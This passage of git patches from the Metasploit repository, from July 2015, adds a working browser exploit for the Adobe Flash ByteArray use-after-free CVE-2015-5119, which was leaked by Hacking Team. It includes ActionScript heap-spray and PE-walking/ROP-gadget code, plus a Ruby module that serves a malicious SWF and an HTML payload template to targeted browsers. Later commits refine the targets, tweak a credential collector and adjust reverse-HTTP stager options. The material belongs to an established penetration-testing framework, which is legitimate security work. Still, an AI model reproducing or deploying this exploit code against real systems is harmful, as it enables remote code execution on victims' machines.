a718:uint, a719:uint, + a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint, + a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint, + a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint, + a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint, + a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint, + a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint, + a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint, + a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint, + + a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint, + a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint, + a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint, + a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint, + a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint, + a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint, + a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint, + a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint, + a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint, + a890:uint, a891:uint, a892:uint, a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint + + + // constructor + function MyClass2(id:int) + { + o1 = this; + a0 = id; + for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344; + } + } +} \ No newline at end of file diff --git a/external/source/exploits/hacking_team/PE.as b/external/source/exploits/hacking_team/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/hacking_team/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb new file mode 100644 index 0000000000..24c73740f9 --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player ByteArray Use After Free', + 'Description' => %q{ + This module exploits an use after free on Adobe Flash Player. The vulnerability, + discovered by Hacking Team and made public on its July 2015 data leak, was + described as an Use After Free while handling ByteArray objects. This module has + been tested successfully on: + + Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, + Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, + Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Someone from HackingTeam + 'juan vazquez' # msf module + ], + 'References' => + [ + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'], + ['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 06 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + + if target.name =~ /Windows/ + platform_id = 'win' + elsif target.name =~ /Linux/ + platform_id = 'linux' + end + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> + <param name="Play" value="true" /> + <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'hacking_team', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end +end From d30688b1166e37e9f055bf6c13d80dd0e9fbbc79 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 7 Jul 2015 12:33:47 -0500 Subject: [PATCH 0672/1013] Add more requirement info --- .../multi/browser/adobe_flash_hacking_team_uaf.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 24c73740f9..96aa1d2a37 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -19,8 +19,10 @@ class Metasploit3 < Msf::Exploit::Remote described as an Use After Free while handling ByteArray objects. This module has been tested successfully on: + Windows XP, Chrome 43 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, + Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468. }, 'License' => MSF_LICENSE, @@ -46,12 +48,15 @@ class Metasploit3 < Msf::Exploit::Remote :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || - os =~ OperatingSystems::Match::WINDOWS_7 + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 || + os =~ OperatingSystems::Match::WINDOWS_VISTA || + os =~ OperatingSystems::Match::WINDOWS_XP end, :ua_name => lambda do |ua| case target.name when 'Windows' - return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::CHROME when 'Linux' return true if ua == Msf::HttpClients::FF end @@ -61,6 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote :flash => lambda do |ver| case target.name when 'Windows' + # Note: Chrome might be vague about the version. + # Instead of 18.0.0.203, it just says 18.0 return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468') From d885420aff2222b3a32f849c64053a9c2b9f3ef0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 7 Jul 2015 12:42:56 -0500 Subject: [PATCH 0673/1013] This changes the version requirement for adobe_flash_hacking_team_uaf.rb Because it works for Win 8.1 + IE11 too --- modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 96aa1d2a37..440063f916 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote when 'Windows' # Note: Chrome might be vague about the version. # Instead of 18.0.0.203, it just says 18.0 - return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194') + return true if Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468') end From 49effdf3d16a3c373719f013c7adf86110791385 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 7 Jul 2015 12:46:02 -0500 Subject: [PATCH 0674/1013] Update description --- modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 440063f916..a8b14a53a1 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -19,10 +19,11 @@ class Metasploit3 < Msf::Exploit::Remote described as an Use After Free while handling ByteArray objects. This module has been tested successfully on: - Windows XP, Chrome 43 and Adobe Flash 18.0.0.194, + Windows XP, Chrome 43 and Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, + Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468. }, 'License' => MSF_LICENSE, From 829b08b2bfc3a6db6011538a3d78d66d333897ec Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 7 Jul 2015 12:49:54 -0500 Subject: [PATCH 0675/1013] Complete authors list --- modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index a8b14a53a1..656e40ba69 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # Someone from HackingTeam - 'juan vazquez' # msf module + 'juan vazquez', # msf module + 'sinn3r' # msf module ], 'References' => [ From d3902771b625de9e6888f1174ab1325bb87417fb Mon Sep 17 00:00:00 2001 From: cldrn <calderon@websec.mx> Date: Tue, 7 Jul 2015 13:48:16 -0500 Subject: [PATCH 0676/1013] Fixes call to the credentials API and adds version info --- modules/auxiliary/gather/lansweeper_collector.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index 551b9e4af3..6eb9267098 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'sghctoma <tamas.szakaly [at] praudit [dot] hu>', # Lansweeper RCE + discovering default credentials 'eq <balazs.bucsay [at] praudit [dot] hu>', - # Updated module to work on latest version of lansweeper + # Module for lansweeper (5.3.0.8) 'calderpwn <calderon [at] websec [dot] mx>' ], 'License' => MSF_LICENSE, @@ -107,12 +107,15 @@ class Metasploit3 < Msf::Auxiliary service_data = { address: opts[:host], port: opts[:port], + protocol: 'tcp', + workspace_id: myworkspace.id, service_name: opts[:creds_name], } credential_data = { username: opts[:user], private_type: :password, private_data: opts[:password], + origin_type: :service, module_fullname: self.fullname }.merge(service_data) login_data = { From 3d630de35372e4f685c2c3886a28d39cd7aac979 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Tue, 7 Jul 2015 14:44:12 -0500 Subject: [PATCH 0677/1013] Replace with a real CVE number --- .../{hacking_team => CVE-2015-5119}/msf.swf | Bin .../exploits/{hacking_team => CVE-2015-5119}/Elf.as | 0 .../{hacking_team => CVE-2015-5119}/Exploit.as | 0 .../ExploitByteArray.as | 0 .../ExploitVector.as | 0 .../{hacking_team => CVE-2015-5119}/Exploiter.as | 0 .../{hacking_team => CVE-2015-5119}/Logger.as | 0 .../{hacking_team => CVE-2015-5119}/MyClass.as | 0 .../{hacking_team => CVE-2015-5119}/MyClass1.as | 0 .../{hacking_team => CVE-2015-5119}/MyClass2.as | 0 .../exploits/{hacking_team => CVE-2015-5119}/PE.as | 0 .../multi/browser/adobe_flash_hacking_team_uaf.rb | 2 +- 12 files changed, 1 insertion(+), 1 deletion(-) rename data/exploits/{hacking_team => CVE-2015-5119}/msf.swf (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/Elf.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/Exploit.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/ExploitByteArray.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/ExploitVector.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/Exploiter.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/Logger.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/MyClass.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/MyClass1.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/MyClass2.as (100%) rename external/source/exploits/{hacking_team => CVE-2015-5119}/PE.as (100%) diff --git a/data/exploits/hacking_team/msf.swf b/data/exploits/CVE-2015-5119/msf.swf similarity index 100% rename from data/exploits/hacking_team/msf.swf rename to data/exploits/CVE-2015-5119/msf.swf diff --git a/external/source/exploits/hacking_team/Elf.as b/external/source/exploits/CVE-2015-5119/Elf.as similarity index 100% rename from external/source/exploits/hacking_team/Elf.as rename to external/source/exploits/CVE-2015-5119/Elf.as diff --git a/external/source/exploits/hacking_team/Exploit.as b/external/source/exploits/CVE-2015-5119/Exploit.as similarity index 100% rename from external/source/exploits/hacking_team/Exploit.as rename to external/source/exploits/CVE-2015-5119/Exploit.as diff --git a/external/source/exploits/hacking_team/ExploitByteArray.as b/external/source/exploits/CVE-2015-5119/ExploitByteArray.as similarity index 100% rename from external/source/exploits/hacking_team/ExploitByteArray.as rename to external/source/exploits/CVE-2015-5119/ExploitByteArray.as diff --git a/external/source/exploits/hacking_team/ExploitVector.as b/external/source/exploits/CVE-2015-5119/ExploitVector.as similarity index 100% rename from external/source/exploits/hacking_team/ExploitVector.as rename to external/source/exploits/CVE-2015-5119/ExploitVector.as diff --git a/external/source/exploits/hacking_team/Exploiter.as b/external/source/exploits/CVE-2015-5119/Exploiter.as similarity index 100% rename from external/source/exploits/hacking_team/Exploiter.as rename to external/source/exploits/CVE-2015-5119/Exploiter.as diff --git a/external/source/exploits/hacking_team/Logger.as b/external/source/exploits/CVE-2015-5119/Logger.as similarity index 100% rename from external/source/exploits/hacking_team/Logger.as rename to external/source/exploits/CVE-2015-5119/Logger.as diff --git a/external/source/exploits/hacking_team/MyClass.as b/external/source/exploits/CVE-2015-5119/MyClass.as similarity index 100% rename from external/source/exploits/hacking_team/MyClass.as rename to external/source/exploits/CVE-2015-5119/MyClass.as diff --git a/external/source/exploits/hacking_team/MyClass1.as b/external/source/exploits/CVE-2015-5119/MyClass1.as similarity index 100% rename from external/source/exploits/hacking_team/MyClass1.as rename to external/source/exploits/CVE-2015-5119/MyClass1.as diff --git a/external/source/exploits/hacking_team/MyClass2.as b/external/source/exploits/CVE-2015-5119/MyClass2.as similarity index 100% rename from external/source/exploits/hacking_team/MyClass2.as rename to external/source/exploits/CVE-2015-5119/MyClass2.as diff --git a/external/source/exploits/hacking_team/PE.as b/external/source/exploits/CVE-2015-5119/PE.as similarity index 100% rename from external/source/exploits/hacking_team/PE.as rename to external/source/exploits/CVE-2015-5119/PE.as diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 656e40ba69..e256249d22 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -144,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote end def create_swf - path = ::File.join(Msf::Config.data_directory, 'exploits', 'hacking_team', 'msf.swf') + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5119', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf From 116c3f0be1c8f5f557d320e4f2db65f621f8b908 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Tue, 7 Jul 2015 14:46:44 -0500 Subject: [PATCH 0678/1013] Add CVE as a real ref, too --- .../exploits/multi/browser/adobe_flash_hacking_team_uaf.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index e256249d22..83217f7fff 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, - Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, + Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, and Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468. }, 'License' => MSF_LICENSE, @@ -36,7 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'], - ['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816'] + ['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816'], + ['CVE', '2015-5119'] ], 'Payload' => { From f8b668e894df7ff375f8329803decebb88989dcf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 7 Jul 2015 15:43:02 -0500 Subject: [PATCH 0679/1013] Update ranking and References --- .../exploits/multi/browser/adobe_flash_hacking_team_uaf.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 83217f7fff..9844008c61 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer @@ -35,9 +35,10 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2015-5119'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-03.html'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'], - ['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816'], - ['CVE', '2015-5119'] + ['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816'] ], 'Payload' => { From 6a33807d80771de0a1c4f686e8ffa201da1cae28 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 7 Jul 2015 15:56:58 -0500 Subject: [PATCH 0680/1013] No Chrome for now --- modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 9844008c61..ad36130bda 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -19,7 +19,6 @@ class Metasploit3 < Msf::Exploit::Remote described as an Use After Free while handling ByteArray objects. This module has been tested successfully on: - Windows XP, Chrome 43 and Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, @@ -60,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote :ua_name => lambda do |ua| case target.name when 'Windows' - return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::CHROME + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF when 'Linux' return true if ua == Msf::HttpClients::FF end From 0b59e63084bdb40629a4a10c938ce9f768e8661c Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 7 Jul 2015 22:37:28 -0500 Subject: [PATCH 0681/1013] keep advanced options on the fat side of the conditional --- lib/msf/core/payload/windows/reverse_winhttp.rb | 6 +++--- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 1bde0dac16..be1c5e95b7 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -32,9 +32,7 @@ module Payload::Windows::ReverseWinHttp conf = { ssl: opts[:ssl] || false, host: datastore['LHOST'] || '127.127.127.127', - port: datastore['LPORT'], - retry_count: datastore['StagerRetryCount'], - proxy_ie: datastore['PayloadProxyIE'] + port: datastore['LPORT'] } # Add extra options if we have enough space @@ -47,6 +45,8 @@ module Payload::Windows::ReverseWinHttp conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:retry_count] = datastore['StagerRetryCount'] + conf[:proxy_ie] = datastore['PayloadProxyIE'] else # Otherwise default to small URIs conf[:uri] = generate_small_uri diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index a220e58ca8..8c31863621 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -33,9 +33,7 @@ module Payload::Windows::ReverseWinHttp_x64 conf = { ssl: opts[:ssl] || false, host: datastore['LHOST'] || '127.127.127.127', - port: datastore['LPORT'], - retry_count: datastore['StagerRetryCount'], - proxy_ie: datastore['PayloadProxyIE'] + port: datastore['LPORT'] } # Add extra options if we have enough space @@ -48,6 +46,8 @@ module Payload::Windows::ReverseWinHttp_x64 conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:retry_count] = datastore['StagerRetryCount'] + conf[:proxy_ie] = datastore['PayloadProxyIE'] else # Otherwise default to small URIs conf[:uri] = generate_small_uri From c86d16ffb6048145dfcbbc40e8e68441fa0f76d3 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 7 Jul 2015 23:15:57 -0500 Subject: [PATCH 0682/1013] update payload sizes --- modules/payloads/stagers/windows/x64/reverse_winhttp.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_winhttps.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb index d5bfbfac8e..d87820e334 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttp' module Metasploit4 - CachedSize = 540 + CachedSize = 532 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb index 09ba8aa6da..03c844f58b 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttps' module Metasploit4 - CachedSize = 571 + CachedSize = 563 include Msf::Payload::Stager include Msf::Payload::Windows From cefbdbb8d395da0778b4fa5b5e084a1303875cca Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 8 Jul 2015 12:12:53 -0500 Subject: [PATCH 0683/1013] Avoid unreliable targets If we can't garantee GreatRanking on specific targets, avoid them. --- .../multi/browser/adobe_flash_hacking_team_uaf.rb | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index ad36130bda..48c9a72bda 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -21,8 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, - Windows 8.1 (32-bit), Firefox and Adobe 